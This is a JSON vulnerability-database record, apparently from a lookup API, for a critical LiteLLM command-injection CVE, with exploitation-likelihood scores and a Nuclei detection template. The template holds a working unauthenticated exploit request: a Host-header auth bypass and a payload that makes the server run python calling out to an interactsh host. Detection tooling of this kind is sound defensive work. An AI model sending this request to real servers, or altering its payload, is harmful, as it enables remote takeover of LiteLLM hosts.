{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-42271/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-42271/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-42271/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-42271/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-42271/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-42271"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-42271"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.83594,
      "kev": true,
      "percentile": 0.99672
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-42271.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-42271\n\ninfo:\n  name: LiteLLM - Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.\n  impact: |\n    Successful exploitation allows unauthenticated remote attackers to execute arbitrary commands on affected LiteLLM instances, potentially leading to full system compromise, lateral movement, data theft, and persistent access.\n  remediation: |\n    Upgrade LiteLLM to version 1.83.7 or later to remediate this vulnerability. If immediate patching is not possible, restrict access to the `/mcp-rest/test/connection` endpoint and ensure authentication verification is robust.\n  reference:\n    - https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/\n    - https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g\n    - https://github.com/BerriAI/litellm/pull/25343\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42271\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42271\n    epss-score: 0.83594\n    epss-percentile: 0.99672\n    cwe-id: CWE-77\n  metadata:\n    max-request: 1\n    vendor: berriai\n    product: litellm\n  tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev\n\nvariables:\n  payload: '{\"transport\":\"stdio\",\"command\":\"python\",\"args\":[\"-c\",\"import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')\"]}'\n\nhttp:\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: a/?x=\n        Content-Type: application/json\n        Content-Length: {{len(payload)}}\n\n        {{payload}}\n\n    unsafe: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Failed to connect to MCP server\"\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n    extractors:\n      - type: kval\n        kval:\n          - interactsh_ip\n# digest: 4a0a00473045022060e09644a32663780d3b55b7eb7cbb37000ef5158c3b271f6c15cee2fab2537c0221008afbe072d4d44264adcad72023e3ada85257b07df72209270d9fbcf06da490a1:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-42271"
}